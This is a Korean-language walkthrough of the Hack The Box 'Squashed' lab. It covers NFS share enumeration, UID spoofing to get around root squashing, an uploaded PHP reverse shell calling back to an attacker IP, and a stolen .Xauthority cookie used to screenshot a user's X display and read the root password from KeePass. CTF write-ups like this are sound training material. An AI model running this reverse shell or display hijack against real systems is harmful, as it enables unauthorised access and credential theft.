[Hack The Box] Squashed ํ’€์ด

6 ๋ถ„ ์†Œ์š”

๐Ÿ’ก Hack-The-Box Squashed ํ’€์ด ์ž…๋‹ˆ๋‹ค.

๋ฌธ์ œ

image

Enumeration

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop]
โ””โ”€$ nmap -sVC -p - 10.129.86.233 --min-rate 1000 -vv
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-10 10:25 EST
PORT      STATE    SERVICE  REASON      VERSION
22/tcp    open     ssh      syn-ack     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http     syn-ack     Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp   open     rpcbind  syn-ack     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   .. skip
|   
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open     nfs_acl  syn-ack     3 (RPC #100227)
5089/tcp  filtered unknown  no-response
27249/tcp filtered unknown  no-response
39825/tcp open     mountd   syn-ack     1-3 (RPC #100005)
42647/tcp open     nlockmgr syn-ack     1-4 (RPC #100021)
49236/tcp filtered unknown  no-response
51659/tcp open     mountd   syn-ack     1-3 (RPC #100005)
53596/tcp filtered unknown  no-response
59311/tcp open     mountd   syn-ack     1-3 (RPC #100005)
64476/tcp filtered unknown  no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 85.90 seconds

์ฃผ์š”ํ•˜๊ฒŒ ๋ณผ ์„œ๋น„์Šค๋Š” http(80), NFS(2049) ํฌํŠธ ์ž…๋‹ˆ๋‹ค.

HTTP

image

์‚ฌ์ดํŠธ ์ž์ฒด์— ์‚ดํŽด๋ณผ ํฌ์ธํŠธ๊ฐ€ ๋”ฑํžˆ ๋ณด์ด์ง€๊ฐ€ ์•Š์Šต๋‹ˆ๋‹ค. gobuster ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆจ๊ฒจ์ง„ ํŽ˜์ด์ง€๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด ๋ด…๋‹ˆ๋‹ค.

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Desktop]
โ””โ”€ gobuster dir -u http://10.129.86.233/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.86.233/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/02/10 11:05:37 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://10.129.86.233/css/]
/images               (Status: 301) [Size: 315] [--> http://10.129.86.233/images/]
/index.html           (Status: 200) [Size: 32532]                                 
/js                   (Status: 301) [Size: 311] [--> http://10.129.86.233/js/]    
/server-status        (Status: 403) [Size: 278]                                   
                                                                                  
===============================================================
2023/02/10 11:06:14 Finished
===============================================================
                                                                   

์‚ดํŽด๋ณผ ์ง€์ ์€ /server-status ํŽ˜์ด์ง€๊ฐ€ 403 Forbidden ์ด๋ผ๋Š” ์  ๋ง๊ณ ๋Š” ํŠน๋ณ„ํ•œ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

NFS

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop]
โ””โ”€$ showmount -a 10.129.86.233 
All mount points on 10.129.86.233:
                                                                                                                    
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop]
โ””โ”€$ showmount -e 10.129.86.233
Export list for 10.129.86.233:
/home/ross    *
/var/www/html *

/home/ross , /var/www/html ๋””๋ ‰ํ„ฐ๋ฆฌ 2๊ฐœ๊ฐ€ export ๋˜์–ด์žˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. NFS ํŒŒ์ผ์‹œ์Šคํ…œ์œผ๋กœ ๋งˆ์šดํŠธ ํ•œ ๋’ค, ๊ทธ ๊ตฌ์กฐ๋ฅผ ์‚ดํŽด๋ด…๋‹ˆ๋‹ค.

mkdir -p mnt/ross
mkdir -p mnt/html
cd mnt

mount -t 10.129.86.233:/home/ross ross
mount -t 10.129.86.233:/var/www/html html

๋งˆ์šดํŠธ ํ•˜๊ณ  ๊ทธ ๊ตฌ์กฐ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๊ฐ๊ฐ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๊ถŒํ•œ์ด uid 2017, uid 1001๋กœ ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Desktop/mnt]
โ””โ”€ls -al
total 16
drwxr-xr-x  4 root root     4096 Feb 10 11:21 .
drwxr-xr-x 11 kali kali     4096 Feb 10 11:19 ..
drwxr-xr--  5 2017 www-data 4096 Feb 10 11:20 html
drwxr-xr-x 14 1001     1001 4096 Feb 10 10:20 ross

NFS ์„œ๋น„์Šค ํŠน์„ฑ์ƒ root squashed๊ฐ€ ๋˜์–ด์žˆ์„ ํ™•๋ฅ ์ด ํฌ๊ธฐ ๋•Œ๋ฌธ์— ์ตœ๋Œ€ ๊ถŒํ•œ์„ ์–ป๊ธฐ ์œ„ํ•ด์„œ ๊ฐ๊ฐ uid 2017, uid 1001์˜ ์‚ฌ์šฉ์ž๋ฅผ ๋งŒ๋“ค์–ด์„œ ํŒŒ์ผ์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

useradd -u 1001 user1001
useradd -u 2017 user2017

๋จผ์ € user2017์˜ ๊ถŒํ•œ์œผ๋กœ ์ ‘๊ทผํ•˜์—ฌ /var/www/htmlํด๋”์˜ ๊ตฌ์กฐ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

user2017@kali:/home/kali/Desktop/mnt/html$ tree
.
โ”œโ”€โ”€ css
โ”‚ย ย  โ”œโ”€โ”€ animate.min.css
โ”‚ย ย  โ”œโ”€โ”€ bootstrap.css
โ”‚ย ย  โ”œโ”€โ”€ bootstrap.css.map
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-grid.css
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-grid.css.map
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-grid.min.css
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-grid.min.css.map
โ”‚ย ย  โ”œโ”€โ”€ bootstrap.min.css
โ”‚ย ย  โ”œโ”€โ”€ bootstrap.min.css.map
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-reboot.css
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-reboot.css.map
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-reboot.min.css
โ”‚ย ย  โ”œโ”€โ”€ bootstrap-reboot.min.css.map
โ”‚ย ย  โ”œโ”€โ”€ default-skin.css
โ”‚ย ย  โ”œโ”€โ”€ font-awesome.min.css
โ”‚ย ย  โ”œโ”€โ”€ icomoon.css
โ”‚ย ย  โ”œโ”€โ”€ jquery.fancybox.min.css
โ”‚ย ย  โ”œโ”€โ”€ jquery.mCustomScrollbar.min.css
โ”‚ย ย  โ”œโ”€โ”€ jquery-ui.css
โ”‚ย ย  โ”œโ”€โ”€ meanmenu.css
โ”‚ย ย  โ”œโ”€โ”€ nice-select.css
โ”‚ย ย  โ”œโ”€โ”€ normalize.css
โ”‚ย ย  โ”œโ”€โ”€ owl.carousel.min.css
โ”‚ย ย  โ”œโ”€โ”€ responsive.css
โ”‚ย ย  โ”œโ”€โ”€ slick.css
โ”‚ย ย  โ””โ”€โ”€ style.css
โ”œโ”€โ”€ images
โ”‚ย ย  โ”œโ”€โ”€ banner-bg.png
โ”‚ย ย  โ”œโ”€โ”€ bg-1.png
โ”‚ย ย  โ”œโ”€โ”€ contact-bg.png
โ”‚ย ย  โ”œโ”€โ”€ fb-icon.png
โ”‚ย ย  โ”œโ”€โ”€ footer-logo.png
โ”‚ย ย  โ”œโ”€โ”€ header-bg.png
โ”‚ย ย  โ”œโ”€โ”€ icon-1.png
โ”‚ย ย  โ”œโ”€โ”€ icon-2.png
โ”‚ย ย  โ”œโ”€โ”€ icon-3.png
โ”‚ย ย  โ”œโ”€โ”€ icon-4.png
โ”‚ย ย  โ”œโ”€โ”€ img-1.png
โ”‚ย ย  โ”œโ”€โ”€ img-2.png
โ”‚ย ย  โ”œโ”€โ”€ img-3.png
โ”‚ย ย  โ”œโ”€โ”€ img-4.png
โ”‚ย ย  โ”œโ”€โ”€ img-5.png
โ”‚ย ย  โ”œโ”€โ”€ img-6.png
โ”‚ย ย  โ”œโ”€โ”€ img-7.png
โ”‚ย ย  โ”œโ”€โ”€ img-8.png
โ”‚ย ย  โ”œโ”€โ”€ img-9.png
โ”‚ย ย  โ”œโ”€โ”€ instagram-icon.png
โ”‚ย ย  โ”œโ”€โ”€ left-arrow.png
โ”‚ย ย  โ”œโ”€โ”€ linkedin-icon.png
โ”‚ย ย  โ”œโ”€โ”€ logo.png
โ”‚ย ย  โ”œโ”€โ”€ quote-icon.png
โ”‚ย ย  โ”œโ”€โ”€ right-arrow.png
โ”‚ย ย  โ”œโ”€โ”€ search-icon.png
โ”‚ย ย  โ””โ”€โ”€ twitter-icon.png
โ”œโ”€โ”€ index.html
โ””โ”€โ”€ js
    โ”œโ”€โ”€ bootstrap.bundle.min.js
    โ”œโ”€โ”€ custom.js
    โ”œโ”€โ”€ jquery-3.0.0.min.js
    โ”œโ”€โ”€ jquery.mCustomScrollbar.concat.min.js
    โ”œโ”€โ”€ jquery.min.js
    โ”œโ”€โ”€ plugin.js
    โ””โ”€โ”€ popper.min.js

์›น์‚ฌ์ดํŠธ ํด๋”๋กœ ํ™•์ธ์ด ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ํด๋”์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฏ€๋กœ ์›น์‰˜์„ ์—…๋กœ๋“œ ํ•˜๋ฉด ์ผ๋ฐ˜์‚ฌ์šฉ์ž ์‰˜์„ ํš๋“ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์›น์‰˜์€ ๊นƒํ—ˆ๋ธŒ์— ์žˆ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฐธ๊ณ ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.48';  // Kali linux IP
$port = 4444;       // Listening Port
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

.. ์ƒ๋žต

image

์ด๋ ‡๊ฒŒ ํ•˜์—ฌ ์ผ๋ฐ˜์‚ฌ์šฉ์ž ๊ถŒํ•œ ํš๋“์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

image

๊ทธ ๋‹ค์Œ์œผ๋กœ root ๊ถŒํ•œ์„ ์œ„ํ•œ ๊ถŒํ•œ ์ƒ์Šน์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์•„๊นŒ mount ํ•˜๊ณ  ์‚ดํŽด๋ณด์ง€ ์•Š์•˜๋˜ /home/ross ํŒŒ์ผ์„ ์‚ดํŽด๋ด…๋‹ˆ๋‹ค.

$ cd ross
$ tree
.
โ”œโ”€โ”€ Desktop
โ”œโ”€โ”€ Documents
โ”‚ย ย  โ””โ”€โ”€ Passwords.kdbx
โ”œโ”€โ”€ Downloads
โ”œโ”€โ”€ Music
โ”œโ”€โ”€ Pictures
โ”œโ”€โ”€ Public
โ”œโ”€โ”€ Templates
โ””โ”€โ”€ Videos

tree์˜ ๊ฒฐ๊ณผ๋กœ ๋ณด๋ฉด Passwords.kdbx ํŒŒ์ผ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ํ‚คํŒจ์Šค ๋ผ๋Š” ์†Œํ”„ํŠธ์›จ์–ด์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํŒŒ์ผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค. ๊ตฌ๊ธ€๋ง ๊ฒฐ๊ณผ johntheripper๋ฅผ ํ†ตํ•ด์„œ ํฌ๋ž˜ํ‚น ์‹œ๋„๊ฐ€ ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ๋ณด์—ฌ์„œ ์‹œ๋„ํ•ด ๋ณด์•˜์Šต๋‹ˆ๋‹ค.

$ keepass2john Passwords.kdbx >> Keepasshash.txt
 Passwords.kdbx : File version '40000' is currently not supported!

ํ•ด๋‹น ๋ฉ”์‹œ์ง€ ๋‚ด์šฉ์„ ๊ตฌ๊ธ€๋ง ํ•ด๋ณด๋‹ˆ, ํ˜„์žฌ johntheripper๋Š” keepass 3.1๊นŒ์ง€๋งŒ ์ง€์›ํ•˜์—ฌ ํฌ๋ž˜ํ‚น ์‹œ๋„๊ฐ€ ๋ถˆ๊ฐ€๋Šฅ ํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

image

$ ls -al
total 68
drwxr-xr-x 14 user1001 user1001 4096 Feb 10 10:20 .
drwxr-xr-x  4 root     root     4096 Feb 10 11:21 ..
lrwxrwxrwx  1 root     root        9 Oct 20 09:24 .bash_history -> /dev/null
drwx------ 11 user1001 user1001 4096 Oct 21 10:57 .cache
drwx------ 12 user1001 user1001 4096 Oct 21 10:57 .config
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Desktop
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Documents
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Downloads
drwx------  3 user1001 user1001 4096 Oct 21 10:57 .gnupg
drwx------  3 user1001 user1001 4096 Oct 21 10:57 .local
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Music
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Pictures
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Public
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Templates
drwxr-xr-x  2 user1001 user1001 4096 Oct 21 10:57 Videos
lrwxrwxrwx  1 root     root        9 Oct 21 09:07 .viminfo -> /dev/null
-rw-------  1 user1001 user1001   57 Feb 10 10:20 .Xauthority
-rw-------  1 user1001 user1001 2475 Feb 10 10:20 .xsession-errors
-rw-------  1 user1001 user1001 2475 Dec 27 10:33 .xsession-errors.old

๋‹ค์‹œ ๋‹ค๋ฅธ ์ ‘๊ทผ๋ฒ•์„ ์ฐพ์•„๋ณด๋‹ˆ, .Xauthority ํŒŒ์ผ์ด ๋ˆˆ์— ๋•๋‹ˆ๋‹ค. X11์„ ์ด์šฉํ•˜๋ฉด ์›๊ฒฉ ๋””์Šคํ”Œ๋ ˆ์ด์— ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋””์Šคํ”Œ๋ ˆ์ด์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•ด ๋ด…๋‹ˆ๋‹ค.

์šฐ์„  ํ˜„์žฌ /home/ross ํด๋”์—์„œ์˜ .Xauthority ํŒŒ์ผ์ด๋ฏ€๋กœ ross ๊ณ„์ •์ด ์ ‘์†ํ•˜์—ฌ ์žˆ๊ณ , X์œˆ๋„์šฐ ํ™˜๊ฒฝ์œผ๋กœ ํ™”๋ฉด์„ ๋ณด๊ณ  ์žˆ๋‹ค๋ฉด ์ด ํŒŒ์ผ์„ ํ†ตํ•ด์„œ ํ•ด๋‹น ๊ณ„์ •์˜ ๋””์Šคํ”Œ๋ ˆ์ด๋กœ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

ํš๋“ํ•œ ์‰˜์—์„œ w ๋ช…๋ น์–ด๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ross ๊ณ„์ •์ด ์ ‘์†ํ•˜์—ฌ ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

image

๋‹ค์Œ์˜ ๊ณผ์ •์„ ํ†ตํ•ด์„œ .Xauthority ์ธ์ฆ์„ ํ•˜๊ณ , ํ™”๋ฉด ์ •๋ณด๋ฅผ ์ฝ์–ด์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# in kali machine
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDdylLf287BoiIFuDv67apd
# in target machine
$ echo "AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDdylLf287BoiIFuDv67apd" | base64 -d > /tmp/.Xauthority
$ export XAUTHORITY=/tmp/.Xauthority
$ xwd -root -display :0 > /tmp/screen.xwd

# root: select root window
# display: specify server to connect to

0๋ฒˆ ๋””์Šคํ”Œ๋ ˆ์ด ํ™”๋ฉด์ด screen.xwd ํŒŒ์ผ๋กœ ์ €์žฅ์ด ๋ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ํŒŒ์ผ์„ ์นผ๋ฆฌ๋ฆฌ๋ˆ…์Šค๋กœ ์˜ฎ๊ฒจ ์˜จ๋’ค, convert ๋ช…๋ น์–ด๋กœ png ํŒŒ์ผ๋กœ ๋ณ€ํ™˜ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์บก์ณ๋œ ํ™”๋ฉด์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

convert screen.xwd screen.png

ํ™”๋ฉด์˜ ๋‚ด์šฉ์€ keepass ํ”„๋กœ๊ทธ๋žจ์„ ํ†ตํ•ด์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ํ™”๋ฉด์ด๊ณ , ํ•ด๋‹นํ™”๋ฉด์„ ํ†ตํ•ด์„œ root ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํš๋“ํ•˜๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค ์ž…๋‹ˆ๋‹ค.

image

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ